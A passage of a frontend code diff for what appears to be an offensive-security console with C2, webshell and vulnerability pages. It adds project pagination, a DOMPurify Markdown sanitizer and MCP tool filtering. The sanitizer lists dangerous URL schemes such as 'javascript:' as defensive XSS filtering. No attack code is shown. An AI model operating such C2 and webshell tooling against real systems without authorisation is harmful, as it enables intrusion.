         el.innerHTML =
             `<div class="projects-empty">${escapeHtml(tp('projects.noProjects'))}<br><button type="button" class="btn-primary btn-small projects-empty-btn" onclick="showNewProjectModal()">${escapeHtml(tp('projects.newProject'))}</button></div>`;
         updateProjectsDetailVisibility();
+        renderProjectsPagination();
         return;
     }
     if (!list.length) {
         el.innerHTML = `<div class="projects-empty">${escapeHtml(tp('projects.noMatchingProjects'))}</div>`;
         updateProjectsDetailVisibility();
+        renderProjectsPagination();
         return;
     }
     el.innerHTML = list.map((p) => {
@@ -574,9 +766,12 @@ async function loadProjectFacts() {
         const vulnLink = f.related_vulnerability_id
             ? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
             : '';
+        const pinBadge = f.pinned
+            ? `<span class="projects-list-item-badge" title="${escapeHtml(tp('projects.pinned'))}">${escapeHtml(tp('projects.pinned'))}</span>`
+            : '';
         return `<tr>
-            <td><code>${keyEsc}</code>${vulnLink}</td>
-            <td>${formatCategoryBadge(f.category)}</td>
+            <td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${pinBadge}${vulnLink}</td>
+            <td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
             <td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
             <td>${formatFactBodyBadge(f)}</td>
             <td>${formatConfidenceBadge(f.confidence)}</td>
@@ -678,7 +873,6 @@ async function viewProjectFactBody(factKey) {
     ];
     if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
     if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
-    if (f.supersedes_fact_id) metaParts.push(tp('projects.factMetaHasPrevious'));
     document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
     document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
     const warnEl = document.getElementById('fact-detail-sparse-warn');
@@ -691,33 +885,6 @@ async function viewProjectFactBody(factKey) {
             warnEl.textContent = '';
         }
     }
-    const prevWrap = document.getElementById('fact-detail-prev-wrap');
-    if (prevWrap) {
-        prevWrap.hidden = true;
-        if (f.id && f.supersedes_fact_id) {
-            try {
-                const prevRes = await apiFetch(
-                    `/api/projects/${currentProjectId}/facts/${encodeURIComponent(f.id)}/previous-version`,
-                );
-                if (prevRes.ok) {
-                    const prev = await prevRes.json();
-                    prevWrap.hidden = false;
-                    document.getElementById('fact-detail-prev-meta').textContent = tpFmt(
-                        'projects.factPreviousMeta',
-                        `Archived at ${formatProjectTime(prev.archived_at)} · Summary: ${prev.summary || '—'} · Confidence: ${prev.confidence || '—'}`,
-                        {
-                            time: formatProjectTime(prev.archived_at),
-                            summary: prev.summary || '—',
-                            confidence: prev.confidence || '—',
-                        },
-                    );
-                    document.getElementById('fact-detail-prev-body').textContent = prev.body || tp('projects.emptyBody');
-                }
-            } catch (e) {
-                console.warn(e);
-            }
-        }
-    }
     const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
     const createBtn = document.getElementById('fact-detail-create-vuln-btn');
     if (linkBtn) linkBtn.hidden = false;
@@ -1165,6 +1332,8 @@ function resetFactModalForm() {
     document.getElementById('fact-modal-summary').value = '';
     document.getElementById('fact-modal-body').value = '';
     document.getElementById('fact-modal-confidence').value = 'tentative';
+    const pinEl = document.getElementById('fact-modal-pinned');
+    if (pinEl) pinEl.checked = false;
     const rel = document.getElementById('fact-modal-related-vuln');
     if (rel) rel.value = '';
     updateFactFormHints();
@@ -1198,6 +1367,8 @@ function fillFactModalForm(f) {
     }
     const rel = document.getElementById('fact-modal-related-vuln');
     if (rel) rel.value = f.related_vulnerability_id || '';
+    const pinEl = document.getElementById('fact-modal-pinned');
+    if (pinEl) pinEl.checked = !!f.pinned;
     updateFactFormHints();
 }
 
@@ -1242,6 +1413,7 @@ async function saveFactModal() {
         summary,
         body,
         confidence: document.getElementById('fact-modal-confidence').value,
+        pinned: !!document.getElementById('fact-modal-pinned')?.checked,
         related_vulnerability_id: document.getElementById('fact-modal-related-vuln')?.value?.trim() || '',
     };
     const editId = window._factModalEditId;
@@ -1337,7 +1509,8 @@ function getChatProjectSelection() {
 
 function isActiveChatProjectId(id) {
     if (!id) return false;
-    return projectsCache.some((p) => p.id === id && p.status !== 'archived');
+    const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
+    return source.some((p) => p.id === id && p.status !== 'archived');
 }
 
 /** 用于 UI：无效/已删除/无可用项目时视为未绑定 */
@@ -1392,7 +1565,8 @@ function renderChatProjectPanelList() {
     const list = document.getElementById('chat-project-list');
     if (!list) return;
     const selected = resolveChatProjectSelection();
-    const activeProjects = projectsCache.filter((p) => p.status !== 'archived');
+    const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
+    const activeProjects = source.filter((p) => p.status !== 'archived');
     const items = [{ id: '', name: tp('projects.noProject'), description: tp('projects.noProjectDescription') }, ...activeProjects];
     if (!items.length) {
         list.innerHTML = `<div class="chat-project-panel-empty">${escapeHtml(tp('projects.noProjectsClickCreate'))}</div>`;
@@ -1535,6 +1709,7 @@ function initChatProjectSelector() {
         window._projectsLanguageListenerBound = true;
         document.addEventListener('languagechange', () => {
             renderProjectsSidebar();
+            renderProjectsPagination();
             updateChatProjectButtonLabel();
             const panel = document.getElementById('chat-project-panel');
             if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
@@ -1594,6 +1769,10 @@ window.restoreProjectFactByKey = restoreProjectFactByKey;
 window.openVulnerabilitiesForProject = openVulnerabilitiesForProject;
 window.openVulnerabilityDetail = openVulnerabilityDetail;
 window.filterProjectsList = filterProjectsList;
+window.goProjectsPage = goProjectsPage;
+window.changeProjectsPageSize = changeProjectsPageSize;
+window.parseProjectsListResponse = parseProjectsListResponse;
+window.fetchAllProjects = fetchAllProjects;
 window.debouncedLoadProjectFacts = debouncedLoadProjectFacts;
 window.debouncedLoadProjectVulnerabilities = debouncedLoadProjectVulnerabilities;
 window.loadProjectVulnerabilities = loadProjectVulnerabilities;

web/static/js/router.js

@@ -56,8 +56,9 @@ function initRouter() {
     const hash = window.location.hash.slice(1);
     if (hash) {
         const hashParts = hash.split('?');
-        const pageId = hashParts[0];
-        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
+        let pageId = hashParts[0];
+        if (pageId === 'c2') pageId = 'c2-listeners';
+        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
             switchPage(pageId);
             if (pageId === 'chat') {
                 scheduleChatConversationFromHash(500);
@@ -105,6 +106,7 @@ function updateNavState(pageId) {
     // 移除所有活动状态
     document.querySelectorAll('.nav-item').forEach(item => {
         item.classList.remove('active');
+        item.classList.remove('expanded');
     });
     
     document.querySelectorAll('.nav-submenu-item').forEach(item => {
@@ -202,16 +204,6 @@ function getNavSubmenuItems(navItem) {
     return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
 }
 
-/** 仅一个子页时直接进入，避免展开后菜单在侧栏底部不可见 */
-function navigateSingleSubmenuPage(navItem) {
-    const items = getNavSubmenuItems(navItem);
-    if (items.length !== 1) return false;
-    const pageId = items[0].getAttribute('data-page');
-    if (!pageId) return false;
-    switchPage(pageId);
-    return true;
-}
-
 // 切换子菜单
 function toggleSubmenu(menuId) {
     const sidebar = document.getElementById('main-sidebar');
@@ -228,11 +220,6 @@ function toggleSubmenu(menuId) {
         return;
     }
 
-    // 展开侧栏且仅一个子项（角色、Agents 等）：单击直接进入，无需再点二级菜单
-    if (navigateSingleSubmenuPage(navItem)) {
-        return;
-    }
-
     // 展开状态下切换子菜单，并滚入视口以便看到子项
     const willExpand = !navItem.classList.contains('expanded');
     navItem.classList.toggle('expanded');
@@ -261,10 +248,6 @@ function showSubmenuPopup(navItem, menuId) {
         }
     }
 
-    if (navigateSingleSubmenuPage(navItem)) {
-        return;
-    }
-    
     const navItemContent = navItem.querySelector('.nav-item-content');
     const submenu = navItem.querySelector('.nav-submenu');
     
@@ -332,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
 async function initPage(pageId) {
     // 等待 i18n 就绪，避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
     if (window.i18nReady) await window.i18nReady;
+    if (typeof stopExternalMcpPoll === 'function') {
+        stopExternalMcpPoll();
+    }
     switch(pageId) {
         case 'dashboard':
             if (typeof refreshDashboard === 'function') {
@@ -389,21 +375,26 @@ async function initPage(pageId) {
                     }, 100);
                 }
             };
-            // 先拉取全局配置，确保 tool_search 常驻状态按后端生效集合展示
+            const afterMcpConfigReady = () => {
+                startLoadMcpTools();
+                if (typeof loadExternalMCPs === 'function') {
+                    loadExternalMCPs().catch(err => {
+                        console.warn('加载外部MCP列表失败:', err);
+                    });
+                }
+                if (typeof startExternalMcpPoll === 'function') {
+                    startExternalMcpPoll();
+                }
+            };
+            // 先拉取配置（含 tool_search 常驻列表），再加载工具与外部 MCP
             if (typeof loadConfig === 'function') {
                 loadConfig(false)
                     .catch(err => {
-                        console.warn('加载配置失败（将继续加载工具列表）:', err);
+                        console.warn('加载配置失败（将继续加载 MCP 列表）:', err);
                     })
-                    .finally(startLoadMcpTools);
+                    .finally(afterMcpConfigReady);
             } else {
-                startLoadMcpTools();
-            }
-            // 先加载外部MCP列表（快速），然后加载工具列表
-            if (typeof loadExternalMCPs === 'function') {
-                loadExternalMCPs().catch(err => {
-                    console.warn('加载外部MCP列表失败:', err);
-                });
+                afterMcpConfigReady();
             }
             break;
         case 'projects':
@@ -482,7 +473,6 @@ async function initPage(pageId) {
                 loadMarkdownAgents();
             }
             break;
-        case 'c2':
         case 'c2-listeners':
         case 'c2-sessions':
         case 'c2-tasks':
@@ -512,9 +502,10 @@ document.addEventListener('DOMContentLoaded', function() {
         const hash = window.location.hash.slice(1);
         // 处理带参数的hash（如 chat?conversation=xxx）
         const hashParts = hash.split('?');
-        const pageId = hashParts[0];
+        let pageId = hashParts[0];
         
-        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
+        if (pageId === 'c2') pageId = 'c2-listeners';
+        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
             switchPage(pageId);
             if (pageId === 'chat') {
                 scheduleChatConversationFromHash(200);

web/static/js/sanitize-markdown.js

@@ -0,0 +1,208 @@
+/**
+ * 统一的 Markdown → 安全 HTML 渲染（DOMPurify + marked）。
+ * 时间线/过程详情使用 stricter profile，整页 HTML 回退为转义 <pre>。
+ */
+(function (global) {
+    'use strict';
+
+    const CHAT_SANITIZE_CONFIG = {
+        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
+            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img',
+            'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
+        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
+        ALLOW_DATA_ATTR: false,
+    };
+
+    /** 过程详情时间线：禁止 img，减少外连与恶意资源 */
+    const TIMELINE_SANITIZE_CONFIG = {
+        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
+            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a',
+            'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
+        ALLOWED_ATTR: ['href', 'title', 'alt', 'class'],
+        ALLOW_DATA_ATTR: false,
+    };
+
+    const DANGEROUS_URL_PREFIXES = [
+        'javascript:',
+        'vbscript:',
+        'data:text/html',
+        'data:text/javascript',
+        'data:application/javascript',
+    ];
+
+    let domPurifyHooksInstalled = false;
+
+    function escapeHtmlLocal(text) {
+        if (text == null || text === '') return '';
+        const div = document.createElement('div');
+        div.textContent = String(text);
+        return div.innerHTML;
+    }
+
+    function installDomPurifyHooks() {
+        if (domPurifyHooksInstalled || typeof DOMPurify === 'undefined' || !DOMPurify.addHook) {
+            return;
+        }
+        DOMPurify.addHook('uponSanitizeAttribute', function (node, data) {
+            const attrName = (data.attrName || '').toLowerCase();
+            if ((attrName !== 'src' && attrName !== 'href') || !data.attrValue) {
+                return;
+            }
+            const value = String(data.attrValue).trim().toLowerCase();
+            for (let i = 0; i < DANGEROUS_URL_PREFIXES.length; i++) {
+                if (value.indexOf(DANGEROUS_URL_PREFIXES[i]) === 0) {
+                    data.keepAttr = false;
+                    return;
+                }
+            }
+            if (value.indexOf('blob:') === 0) {
+                data.keepAttr = false;
+                return;
+            }
+            if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
+                if (value.length <= 2 || /^[a-z]$/i.test(value)) {
+                    data.keepAttr = false;
+                }
+            }
+        });
+        domPurifyHooksInstalled = true;
+    }
+
+    /** 明显 Markdown 结构时，不应因零散 HTML 标签误判为整页 HTML */
+    function looksLikeMarkdown(src) {
+        const s = String(src);
+        return /^#{1,6}\s/m.test(s)
+            || /^\s*[-*+]\s/m.test(s)
+            || /^\s*\d+\.\s/m.test(s)
+            || /\*\*[^*\n]+\*\*/.test(s)
+            || /`[^`\n]+`/.test(s)
+            || /^```/m.test(s)
+            || /^\|.+\|/m.test(s)
+            || /^\s*>\s/m.test(s);
+    }
+
+    /** 探测工具返回的整页 HTML，不宜当作富文本渲染 */
+    function isHeavyRawHtml(src) {
+        const s = String(src);
+        if (looksLikeMarkdown(s)) {
+            return false;
+        }
+        if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) {
+            return true;
+        }
+        if (/<\s*(head|body|iframe|object|embed|form|script|style|meta|link|base)\b/i.test(s)) {
+            return true;
+        }
+        const tags = s.match(/<[a-z][^>]*>/gi);
+        return tags != null && tags.length >= 8;
+    }
+
+    function escapePlainTextAsHtml(text) {
+        return escapeHtmlLocal(text).replace(/\n/g, '<br>');
+    }
+
+    function formatHtmlAsEscapedPre(text) {
+        return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>';
+    }
+
+    function normalizeSource(text) {
+        const raw = text == null ? '' : String(text);
+        if (typeof global.normalizeAssistantMarkdownSource === 'function') {
+            return global.normalizeAssistantMarkdownSource(raw);
+        }
+        return raw;
+    }
+
+    function parseMarkdownSrc(src) {
+        if (typeof marked === 'undefined') {
+            return null;
+        }
+        try {
+            marked.setOptions({ breaks: true, gfm: true });
+            return marked.parse(src, { async: false });
+        } catch (e) {
+            console.error('Markdown 解析失败:', e);
+            return null;
+        }
+    }
+
+    function sanitizeConfigForProfile(profile) {
+        return profile === 'timeline' ? TIMELINE_SANITIZE_CONFIG : CHAT_SANITIZE_CONFIG;
+    }
+
+    /**
+     * @param {string|null|undefined} text
+     * @param {{ profile?: 'chat'|'timeline' }} [options]
+     * @returns {string} 安全 HTML
+     */
+    function buildRichHtmlFromSource(src) {
+        const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
+        const preferMarkdown = typeof marked !== 'undefined'
+            && (looksLikeMarkdown(src) || !hasHtmlTags);
+
+        if (preferMarkdown) {
+            const parsed = parseMarkdownSrc(src);
+            if (parsed != null) {
+                return parsed;
+            }
+        }
+        if (hasHtmlTags) {
+            return src;
+        }
+        return escapePlainTextAsHtml(src);
+    }
+
+    function formatMarkdownToHtml(text, options) {
+        const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat';
+        const src = normalizeSource(text);
+
+        if (isHeavyRawHtml(src)) {
+            return formatHtmlAsEscapedPre(src);
+        }
+
+        if (typeof DOMPurify === 'undefined') {
+            console.warn('DOMPurify 未加载，Markdown 已降级为纯文本渲染（已转义，防 XSS）');
+            return escapePlainTextAsHtml(src);
+        }
+
+        installDomPurifyHooks();
+        const config = sanitizeConfigForProfile(profile);
+        return DOMPurify.sanitize(buildRichHtmlFromSource(src), config);
+    }
+
+    function sanitizeRichHtml(html, profile) {
+        if (typeof DOMPurify === 'undefined') {
+            return null;
+        }
+        installDomPurifyHooks();
+        return DOMPurify.sanitize(html, sanitizeConfigForProfile(profile || 'chat'));
+    }
+
+    function stripSuspiciousImages(root) {
+        if (!root || !root.querySelectorAll) {
+            return;
+        }
+        root.querySelectorAll('img').forEach(function (img) {
+            const src = (img.getAttribute('src') || '').trim();
+            if (!src || src.length <= 2 || /^[a-z]$/i.test(src)) {
+                img.remove();
+            }
+        });
+    }
+
+    global.csMarkdownSanitize = {
+        CHAT_SANITIZE_CONFIG: CHAT_SANITIZE_CONFIG,
+        TIMELINE_SANITIZE_CONFIG: TIMELINE_SANITIZE_CONFIG,
+        installDomPurifyHooks: installDomPurifyHooks,
+        formatMarkdownToHtml: formatMarkdownToHtml,
+        sanitizeRichHtml: sanitizeRichHtml,
+        isHeavyRawHtml: isHeavyRawHtml,
+        looksLikeMarkdown: looksLikeMarkdown,
+        escapeHtmlLocal: escapeHtmlLocal,
+        stripSuspiciousImages: stripSuspiciousImages,
+    };
+
+    global.formatMarkdown = function formatMarkdown(text, options) {
+        return formatMarkdownToHtml(text, options);
+    };
+})(typeof window !== 'undefined' ? window : globalThis);

web/static/js/settings.js

@@ -16,6 +16,96 @@ function getToolKey(tool) {
     }
     return tool.name;
 }
+
+// 常驻工具配置存储键（外部工具用 mcp::tool，与后端 tool_search 白名单一致）
+function getAlwaysVisibleStorageKey(tool) {
+    return getToolKey(tool);
+}
+
+function addAlwaysVisibleAliases(name) {
+    const n = (name || '').trim();
+    if (!n) return;
+    alwaysVisibleToolNames.add(n);
+    if (n.includes('::')) {
+        const sep = n.indexOf('::');
+        const mcp = n.slice(0, sep);
+        const tool = n.slice(sep + 2);
+        if (mcp && tool) {
+            alwaysVisibleToolNames.add(`${mcp}__${tool}`);
+        }
+        return;
+    }
+    if (n.includes('__')) {
+        const sep = n.lastIndexOf('__');
+        const mcp = n.slice(0, sep);
+        const tool = n.slice(sep + 2);
+        if (mcp && tool) {
+            alwaysVisibleToolNames.add(`${mcp}::${tool}`);
+        }
+    }
+}
+
+function removeAlwaysVisibleAliases(name) {
+    const n = (name || '').trim();
+    if (!n) return;
+    alwaysVisibleToolNames.delete(n);
+    if (n.includes('::')) {
+        const sep = n.indexOf('::');
+        const mcp = n.slice(0, sep);
+        const tool = n.slice(sep + 2);
+        if (mcp && tool) {
+            alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
+        }
+        return;
+    }
+    if (n.includes('__')) {
+        const sep = n.lastIndexOf('__');
+        const mcp = n.slice(0, sep);
+        const tool = n.slice(sep + 2);
+        if (mcp && tool) {
+            alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
+        }
+    }
+}
+
+function isToolAlwaysVisible(tool) {
+    const key = getAlwaysVisibleStorageKey(tool);
+    if (alwaysVisibleToolNames.has(key)) return true;
+    if (alwaysVisibleToolNames.has(tool.name)) return true;
+    if (tool.is_external && tool.external_mcp) {
+        if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
+    }
+    return false;
+}
+
+function isToolAlwaysVisibleBuiltin(tool) {
+    if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
+    return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
+}
+
+function getAlwaysVisibleForSave() {
+    const out = new Set();
+    for (const name of alwaysVisibleToolNames) {
+        if (alwaysVisibleBuiltinToolNames.has(name)) continue;
+        if (name.includes('::')) {
+            out.add(name);
+            continue;
+        }
+        if (name.includes('__')) {
+            const sep = name.lastIndexOf('__');
+            const mcp = name.slice(0, sep);
+            const tool = name.slice(sep + 2);
+            if (mcp && tool) out.add(`${mcp}::${tool}`);
+            continue;
+        }
+        out.add(name);
+    }
+    return Array.from(out);
+}
+
+function countUserAlwaysVisibleTools() {
+    return getAlwaysVisibleForSave().length;
+}
 // 从localStorage读取每页显示数量，默认为20
 const getToolsPageSize = () => {
     const saved = localStorage.getItem('toolsPageSize');
@@ -61,21 +151,25 @@ window.syncC2NavOnceFromServer = async function syncC2NavOnceFromServer() {
     }
 };
 
-// 根据 C2 是否启用显示主导航 C2 入口与仪表盘 C2 区块（与 /api/config 的 c2.enabled 一致）
+// 根据 C2 是否启用显示主导航 C2 入口与仪表盘接入概览中的 C2 子块（与 /api/config 的 c2.enabled 一致）
 function syncC2NavFromConfig(cfg) {
     const on = cfg && cfg.c2 && cfg.c2.enabled !== false;
     const nav = document.getElementById('nav-c2');
     if (nav) {
         nav.style.display = on ? '' : 'none';
     }
-    const dash = document.getElementById('dashboard-section-c2');
-    if (dash) {
+    const c2Tab = document.getElementById('dashboard-access-tab-c2');
+    if (c2Tab) {
         if (!on) {
-            dash.hidden = true;
+            c2Tab.hidden = true;
         } else {
-            dash.removeAttribute('hidden');
+            c2Tab.removeAttribute('hidden');
         }
     }
+    window.__c2Enabled = on;
+    if (typeof syncDashboardAccessTabs === 'function') {
+        syncDashboardAccessTabs();
+    }
 }
 
 // 切换设置分类
@@ -154,14 +248,21 @@ async function loadConfig(loadTools = true) {
         }
         
         currentConfig = await response.json();
-        const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
         const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
-        alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []);
-        alwaysVisibleBuiltinToolNames = new Set(
-            alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured)
-                ? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name))
-                : []
-        );
+        const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
+        alwaysVisibleToolNames = new Set();
+        if (Array.isArray(alwaysVisibleConfigured)) {
+            alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
+        }
+        alwaysVisibleBuiltinToolNames = new Set();
+        if (Array.isArray(alwaysVisibleEffective)) {
+            const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
+            alwaysVisibleEffective.filter(Boolean).forEach(name => {
+                if (!configuredSet.has(name)) {
+                    alwaysVisibleBuiltinToolNames.add(name);
+                }
+            });
+        }
         
         // 填充OpenAI配置
         const providerEl = document.getElementById('openai-provider');
@@ -438,8 +539,11 @@ let toolsSearchKeyword = '';
 // 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
 let toolsStatusFilter = '';
 
+// 按外部 MCP 来源筛选（点击左侧卡片时设置）
+let toolsExternalMcpFilter = '';
+
 // 加载工具列表（分页）
-async function loadToolsList(page = 1, searchKeyword = '') {
+async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
     // 等待 i18n 就绪，避免快速刷新时翻译函数未初始化导致显示占位符
     if (window.i18nReady) await window.i18nReady;
     const toolsList = document.getElementById('tools-list');
@@ -462,6 +566,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
         if (toolsStatusFilter !== '') {
             url += `&enabled=${toolsStatusFilter}`;
         }
+        if (options.refreshExternal) {
+            url += '&refresh_external=true';
+        }
+        if (toolsExternalMcpFilter) {
+            url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
+        }
         
         // 使用较短的超时时间（10秒），避免长时间等待
         const controller = new AbortController();
@@ -482,6 +592,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
             page: result.page || page,
             pageSize: result.page_size || pageSize,
             total: result.total || 0,
+            totalEnabled: result.total_enabled ?? 0,
             totalPages: result.total_pages || 1
         };
         
@@ -500,6 +611,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
         
         renderToolsList();
         renderToolsPagination();
+        renderExternalMcpFilterChip();
+        updateExternalMcpCardSelection();
     } catch (error) {
         console.error('加载工具列表失败:', error);
         if (toolsList) {
@@ -618,8 +731,8 @@ function renderToolsList() {
             is_external: tool.is_external || false,
             external_mcp: tool.external_mcp || ''
         };
-        const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name);
-        const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name);
+        const alwaysVisibleChecked = isToolAlwaysVisible(tool);
+        const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
         
         // 外部工具标签，显示来源信息（可点击跳转到对应 MCP 卡片）
         let externalBadge = '';
@@ -644,7 +757,7 @@ function renderToolsList() {
                     ${escapeHtml(tool.name)}
                     ${externalBadge}
                     <label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
-                        <input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" />
+                        <input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
                         <span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
                     </label>
                     ${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻，不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
@@ -759,8 +872,7 @@ function scrollToExternalMCP(mcpName, event) {
     event.stopPropagation();
     const items = document.querySelectorAll('.external-mcp-item');
     for (const item of items) {
-        const h4 = item.querySelector('h4');
-        if (h4 && h4.textContent.includes(mcpName)) {
+        if (item.dataset.mcpName === mcpName) {
             item.scrollIntoView({ behavior: 'smooth', block: 'center' });
             item.classList.add('highlight');
             setTimeout(() => item.classList.remove('highlight'), 2000);
@@ -769,6 +881,94 @@ function scrollToExternalMCP(mcpName, event) {
     }
 }
 
+// 点击左侧外部 MCP 卡片，筛选并定位右侧工具列表
+async function scrollToExternalMCPTools(mcpName, event) {
+    if (event) {
+        if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
+            return;
+        }
+        event.stopPropagation();
+    }
+
+    if (toolsExternalMcpFilter === mcpName) {
+        await clearExternalMcpFilter();
+        return;
+    }
+
+    toolsExternalMcpFilter = mcpName;
+    updateExternalMcpCardSelection();
+    renderExternalMcpFilterChip();
+    await loadToolsList(1, toolsSearchKeyword);
+
+    requestAnimationFrame(() => {
+        highlightExternalMcpTools(mcpName);
+    });
+}
+
+function highlightExternalMcpTools(mcpName) {
+    const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
+    if (toolsList) {
+        toolsList.scrollTop = 0;
+    }
+
+    document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
+        el.classList.remove('highlight');
+    });
+
+    const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
+    const matchingTools = document.querySelectorAll(selector);
+    if (matchingTools.length === 0) {
+        return;
+    }
+
+    matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
+    matchingTools.forEach(el => {
+        el.classList.add('highlight');
+        setTimeout(() => el.classList.remove('highlight'), 2000);
+    });
+}
+
+async function clearExternalMcpFilter() {
+    toolsExternalMcpFilter = '';
+    updateExternalMcpCardSelection();
+    renderExternalMcpFilterChip();
+    await loadToolsList(1, toolsSearchKeyword);
+}
+
+function updateExternalMcpCardSelection() {
+    document.querySelectorAll('.external-mcp-item').forEach(item => {
+        item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
+    });
+}
+
+function renderExternalMcpFilterChip() {
+    let chip = document.getElementById('tools-source-filter-chip');
+    const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
+    if (!toolsActions) {
+        return;
+    }
+
+    if (!chip) {
+        chip = document.createElement('div');
+        chip.id = 'tools-source-filter-chip';
+        chip.className = 'tools-source-filter-chip';
+        toolsActions.appendChild(chip);
+    }
+
+    if (!toolsExternalMcpFilter) {
+        chip.style.display = 'none';
+        chip.innerHTML = '';
+        return;
+    }
+
+    const t = typeof window.t === 'function' ? window.t : (k) => k;
+    chip.style.display = 'inline-flex';
+    chip.innerHTML = `
